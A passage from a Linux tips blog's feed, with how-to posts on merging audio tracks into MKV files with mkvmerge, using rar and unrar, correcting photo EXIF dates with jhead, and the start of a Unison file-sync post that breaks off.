<p>It&#8217;s really just a front-end application to mkvmerge, and the following text shows the commands that were used to specify the language for each tag, re-order the audio tracks, disable subtitles by default, and give useful descriptions to each Track ID.</p>
<blockquote><p><code><strong>mkvmerge -o "Cool.Movie.New.mkv"  \<br />
--language 1:eng \<br />
--track-name "1:Cool Movie (MPEG4)" \<br />
--default-track 1:yes \<br />
--display-dimensions 1:40x17 \<br />
--language 2:eng \<br />
--track-name "2:Dolby Digital 5.1 (AC3)" \<br />
--default-track 2:yes \<br />
--language 3:eng \<br />
--track-name "3:English Subtitles" \<br />
--default-track 3:no \<br />
-a 2 -d 1 -s 3 Cool.Movie.mkv \<br />
--language 0:eng \<br />
--track-name "0:2-Channel Stereo (MP3)" \<br />
--default-track 0:no \<br />
-a 0 -D -S audio.mp3 \<br />
--track-order 0:1,0:2,1:0,0:3</strong></code></p>
<p><code><strong>mkvmerge -i Cool.Movie.New.mkv</strong><br />
File 'Cool.Movie.New.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: audio (A_MPEG/L3)<br />
Track ID 4: subtitles (S_TEXT/UTF8)</code></p></blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;t=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files%20-%20http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;title=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files&amp;notes=If%20you%20have%20Matroska%20Video%20%28MKV%29%20files%20encoded%20with%20AC3%20Dolby%20Digital%205.1%20or%20DTS%20audio%20tracks%2C%20you%20may%20want%20to%20simply%20extract%20the%20audio%2C%20convert%20it%20to%20a%202-channel%20stereo%20format%20like%20WAV%2C%20MP3%20OGG%2C%20etc%2C%20and%20then%20add%20it%20back%20into%20the%20MKV%20as%20a%20separate%20a" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;title=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files&amp;bodytext=If%20you%20have%20Matroska%20Video%20%28MKV%29%20files%20encoded%20with%20AC3%20Dolby%20Digital%205.1%20or%20DTS%20audio%20tracks%2C%20you%20may%20want%20to%20simply%20extract%20the%20audio%2C%20convert%20it%20to%20a%202-channel%20stereo%20format%20like%20WAV%2C%20MP3%20OGG%2C%20etc%2C%20and%20then%20add%20it%20back%20into%20the%20MKV%20as%20a%20separate%20a" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;title=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%20have%20Matroska%20Video%20%28MKV%29%20files%20encoded%20with%20AC3%20Dolby%20Digital%205.1%20or%20DTS%20audio%20tracks%2C%20you%20may%20want%20to%20simply%20extract%20the%20audio%2C%20convert%20it%20to%20a%202-channel%20stereo%20format%20like%20WAV%2C%20MP3%20OGG%2C%20etc%2C%20and%20then%20add%20it%20back%20into%20the%20MKV%20as%20a%20separate%20a" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;title=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files&amp;annotation=If%20you%20have%20Matroska%20Video%20%28MKV%29%20files%20encoded%20with%20AC3%20Dolby%20Digital%205.1%20or%20DTS%20audio%20tracks%2C%20you%20may%20want%20to%20simply%20extract%20the%20audio%2C%20convert%20it%20to%20a%202-channel%20stereo%20format%20like%20WAV%2C%20MP3%20OGG%2C%20etc%2C%20and%20then%20add%20it%20back%20into%20the%20MKV%20as%20a%20separate%20a" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fadd-stereo-audio-tracks-to-mkv-files%2F&amp;title=Add%20Stereo%20Audio%20Tracks%20to%20MKV%20Files" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Permanent Link: Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Permanent Link: Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>RAR and UNRAR from Linux CLI</title>
		<link>http://savvyadmin.com/rar-and-unrar-from-linux-cli/</link>
		<comments>http://savvyadmin.com/rar-and-unrar-from-linux-cli/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 18:09:48 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=393</guid>
		<description><![CDATA[Two great packages available to the Linux community are RAR and UNRAR. If you are already familiar with the RAR compression format, these allow you to create, modify and extract RAR archives. For those of you that appreciate the graphical compression application for Gnome called File Roller, these packages enable it to read RAR files. [...]


Related posts:<ol><li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Permanent Link: Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
<li><a href='http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/' rel='bookmark' title='Permanent Link: Fixing Dates in Image EXIF Tag Data from Linux'>Fixing Dates in Image EXIF Tag Data from Linux</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Permanent Link: Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Two great packages available to the Linux community are RAR and UNRAR.  If you are already familiar with the RAR compression format, these allow you to create, modify and extract RAR archives.  For those of you that appreciate the graphical compression application for Gnome called File Roller, these packages enable it to read RAR files.  For more information about the RAR format, check out <a href="http://www.rarsoft.com/rar_file.htm" target="_blank">rarsoft.com</a>.</p>
<p>To install from Ubuntu or Debian, its as simple as:</p>
<blockquote><p><strong><code>sudo apt-get install rar unrar</code></strong></p></blockquote>
<p>To list the files in a RAR archive, use the l or v option:</p>
<blockquote><p><strong><code>rar l video.rar</code></strong></p></blockquote>
<p>To decompress a RAR archive called video.rar, simply issue the command:</p>
<blockquote><p><strong><code>unrar e video.rar</code></strong></p></blockquote>
<p>The unrar package is only intended for decompression tasks.  Otherwise, just use the rar command with the e option to extract the files to the current directory.</p>
<blockquote><p><strong><code>rar e video.rar</code></strong></p></blockquote>
<p>To compress a single file called video.avi, adding it to a RAR file called video.rar:</p>
<blockquote><p><strong><code>rar a video.rar video.avi</code></strong></p></blockquote>
<p>To compress a single file called video.avi, splitting it into approximately 50 Mb files:</p>
<blockquote><p><strong><code>rar a -v50000 video.rar video.avi</code></strong></p></blockquote>
<p>This by default creates archive files starting with video.part01.rar, video.part02.rar and following the sequence to completion.  To use the older and better known extension sequence format of .rar, .r00, .r01, etc, use the -vn option like so:</p>
<blockquote><p><strong><code>rar a -v50000 -vn video.rar video.avi</code></strong></p></blockquote>
<p>To compress an entire directory recursively, use the -r option:</p>
<blockquote><p><strong><code>rar a -r Documents.rar Documents/</code></strong></p></blockquote>
<p>To extract the files from an archive, such that the original directory structure is also recreated, use the x command:</p>
<blockquote><p><strong><code>rar x Documents.rar</code></strong></p></blockquote>
<p>There are so many other features available to the RAR format, so be sure to check out the man pages or the packaged documentation.</p>
<blockquote><p><strong><code>man rar<br />
less /usr/share/doc/rar/rar.txt.gz</code></strong></p></blockquote>
<p>(if your version of less supports reading of compressed files)</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;t=RAR%20and%20UNRAR%20from%20Linux%20CLI" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=RAR%20and%20UNRAR%20from%20Linux%20CLI%20-%20http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;title=RAR%20and%20UNRAR%20from%20Linux%20CLI&amp;notes=Two%20great%20packages%20available%20to%20the%20Linux%20community%20are%20RAR%20and%20UNRAR.%20%20If%20you%20are%20already%20familiar%20with%20the%20RAR%20compression%20format%2C%20these%20allow%20you%20to%20create%2C%20modify%20and%20extract%20RAR%20archives.%20%20For%20those%20of%20you%20that%20appreciate%20the%20graphical%20compressi" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;title=RAR%20and%20UNRAR%20from%20Linux%20CLI&amp;bodytext=Two%20great%20packages%20available%20to%20the%20Linux%20community%20are%20RAR%20and%20UNRAR.%20%20If%20you%20are%20already%20familiar%20with%20the%20RAR%20compression%20format%2C%20these%20allow%20you%20to%20create%2C%20modify%20and%20extract%20RAR%20archives.%20%20For%20those%20of%20you%20that%20appreciate%20the%20graphical%20compressi" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=RAR%20and%20UNRAR%20from%20Linux%20CLI&amp;body=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;title=RAR%20and%20UNRAR%20from%20Linux%20CLI&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Two%20great%20packages%20available%20to%20the%20Linux%20community%20are%20RAR%20and%20UNRAR.%20%20If%20you%20are%20already%20familiar%20with%20the%20RAR%20compression%20format%2C%20these%20allow%20you%20to%20create%2C%20modify%20and%20extract%20RAR%20archives.%20%20For%20those%20of%20you%20that%20appreciate%20the%20graphical%20compressi" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;title=RAR%20and%20UNRAR%20from%20Linux%20CLI&amp;annotation=Two%20great%20packages%20available%20to%20the%20Linux%20community%20are%20RAR%20and%20UNRAR.%20%20If%20you%20are%20already%20familiar%20with%20the%20RAR%20compression%20format%2C%20these%20allow%20you%20to%20create%2C%20modify%20and%20extract%20RAR%20archives.%20%20For%20those%20of%20you%20that%20appreciate%20the%20graphical%20compressi" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Frar-and-unrar-from-linux-cli%2F&amp;title=RAR%20and%20UNRAR%20from%20Linux%20CLI" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Permanent Link: Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
<li><a href='http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/' rel='bookmark' title='Permanent Link: Fixing Dates in Image EXIF Tag Data from Linux'>Fixing Dates in Image EXIF Tag Data from Linux</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Permanent Link: Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/rar-and-unrar-from-linux-cli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Dates in Image EXIF Tag Data from Linux</title>
		<link>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/</link>
		<comments>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 06:11:51 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[EXIF]]></category>
		<category><![CDATA[Graphics]]></category>
		<category><![CDATA[JPEG]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=378</guid>
		<description><![CDATA[I recently needed to organize a large number of old digital photos that had the wrong date embedded in their EXIF tag data. The camera I used many years ago would often lose track of time and would sometimes be set to the wrong year. Applications I now use to organize photos read this data [...]


Related posts:<ol><li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Permanent Link: Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/console-framebuffer-in-ubuntu/' rel='bookmark' title='Permanent Link: Console Framebuffer in Ubuntu'>Console Framebuffer in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/resize-and-watermark-images-in-linux/' rel='bookmark' title='Permanent Link: Resize and Watermark Images in Linux'>Resize and Watermark Images in Linux</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I recently needed to organize a large number of old digital photos that had the wrong date embedded in their EXIF tag data.  The camera I used many years ago would often lose track of time and would sometimes be set to the wrong year.  Applications I now use to organize photos read this data and made my albums difficult to navigate.  I came across a Linux command line utility called <a title="jhead website" href="http://www.sentex.net/~mwandel/jhead/" target="_blank"><em>jhead</em></a> that allows you to modify this information to whatever you wish, and its easy to use in scripts as well.  Installing was easy, because it&#8217;s currently in most repositories, including Ubuntu&#8217;s.</p>
<p>To read existing EXIF tag data, simply run jhead against an image without any options.  As you can see from the example below, my date is set to the year 2022.</p>
<blockquote><p><code><strong>jhead image.jpg </strong><br />
File name    : image.jpg<br />
File size    : 159390 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Camera make  : Samsung<br />
Camera model : Digimax 200<br />
<em><strong>Date/Time    : 2022:02:12 04:04:17</strong></em><br />
Resolution   : 800 x 600<br />
Flash used   : Yes<br />
Exposure time: 0.045 s  (1/22)<br />
Aperture     : f/2.8</code></p></blockquote>
<p>To clear all EXIF data from the file, use the <em><strong>-de</strong></em> option.  Then recreate the EXIF fields with the <em><strong>-mkexif</strong></em> option, and check the data again.  Notice the new Date/Time is set to the timestamp on the file.</p>
<blockquote><p><code><strong>jhead -de image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead -mkexif image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead image.jpg </strong><br />
File name    : image.jpg<br />
File size    : 147751 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Date/Time    : 2004:01:12 07:35:23<br />
Resolution   : 800 x 600</code></p></blockquote>
<p>To change the entire timestamp manually, use the <em><strong>-ts</strong></em> option.  Notice, there is no space between the <em><strong>-ts</strong></em> and the option.  I could not trust the month and day, so I simply chaged the date to midnight on January 1, 2003.</p>
<blockquote><p><code><strong>jhead -ts2003:01:01-00:00:00 image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead image.jpg</strong><br />
File name    : image.jpg<br />
File size    : 147751 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Date/Time    : 2003:01:01 00:00:00<br />
Resolution   : 800 x 600</code></p></blockquote>
<p>For many more options, check out the man page or visit the <a title="jhead website" href="http://www.sentex.net/~mwandel/jhead/" target="_blank">jhead</a> site for more info.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;t=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux%20-%20http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;title=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux&amp;notes=I%20recently%20needed%20to%20organize%20a%20large%20number%20of%20old%20digital%20photos%20that%20had%20the%20wrong%20date%20embedded%20in%20their%20EXIF%20tag%20data.%20%20The%20camera%20I%20used%20many%20years%20ago%20would%20often%20lose%20track%20of%20time%20and%20would%20sometimes%20be%20set%20to%20the%20wrong%20year.%20%20Applications%20I" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;title=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux&amp;bodytext=I%20recently%20needed%20to%20organize%20a%20large%20number%20of%20old%20digital%20photos%20that%20had%20the%20wrong%20date%20embedded%20in%20their%20EXIF%20tag%20data.%20%20The%20camera%20I%20used%20many%20years%20ago%20would%20often%20lose%20track%20of%20time%20and%20would%20sometimes%20be%20set%20to%20the%20wrong%20year.%20%20Applications%20I" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux&amp;body=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;title=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=I%20recently%20needed%20to%20organize%20a%20large%20number%20of%20old%20digital%20photos%20that%20had%20the%20wrong%20date%20embedded%20in%20their%20EXIF%20tag%20data.%20%20The%20camera%20I%20used%20many%20years%20ago%20would%20often%20lose%20track%20of%20time%20and%20would%20sometimes%20be%20set%20to%20the%20wrong%20year.%20%20Applications%20I" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;title=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux&amp;annotation=I%20recently%20needed%20to%20organize%20a%20large%20number%20of%20old%20digital%20photos%20that%20had%20the%20wrong%20date%20embedded%20in%20their%20EXIF%20tag%20data.%20%20The%20camera%20I%20used%20many%20years%20ago%20would%20often%20lose%20track%20of%20time%20and%20would%20sometimes%20be%20set%20to%20the%20wrong%20year.%20%20Applications%20I" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Ffixing-dates-in-image-exif-tag-data-from-linux%2F&amp;title=Fixing%20Dates%20in%20Image%20EXIF%20Tag%20Data%20from%20Linux" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Permanent Link: Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/console-framebuffer-in-ubuntu/' rel='bookmark' title='Permanent Link: Console Framebuffer in Ubuntu'>Console Framebuffer in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/resize-and-watermark-images-in-linux/' rel='bookmark' title='Permanent Link: Resize and Watermark Images in Linux'>Resize and Watermark Images in Linux</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>File Synchronization with Unison over SSH</title>
		<link>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/</link>
		<comments>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 01:36:25 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Rsync]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Unison]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=318</guid>
		<description><![CDATA[Previously, I posted on using rsync over SSH for file synchronization. While this works very well when pushing data in one direction, it&#8217;s not well suited for synchronizing modifications that are made on both sides. An excellent bidirectional utility for that type of job is Unison, which sports many of the same benefits as rsync, [...]


Related posts:<ol><li><a href='http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/' rel='bookmark' title='Permanent Link: File Synchronization with Rsync over SSH'>File Synchronization with Rsync over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Permanent Link: Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Previously, I <a target="_blank" href="/file-synchronization-with-rsync-over-ssh/">posted</a> on using <em>rsync</em> over SSH for file synchronization.  While this works very well when pushing data in one direction, it&#8217;s not well suited for synchronizing modifications that are made on both sides.  An excellent bidirectional utility for that type of job is <em><a target="_blank" href="http://www.cis.upenn.edu/~bcpierce/unison/index.html">Unison</a></em>, which sports many of the same benefits as rsync, but has some distinct advantages for more complex synchronization scenarios.</p>
<p>A basic example would be to synchronize a local directory called &#8220;<em>MyDocs</em>&#8221; with a remote SSH server.  From the following output, you can see that this directory contains four text files.</p>
<blockquote><p><code><strong>ls -ld ~/MyDocs</strong><br />
drwxr-xr-x 2 gmendoza gmendoza 4096 2009-04-09 16:05 /home/gmendoza/MyDocs</code></p>
<p><code><strong>ls -l ~/MyDocs</strong><br />
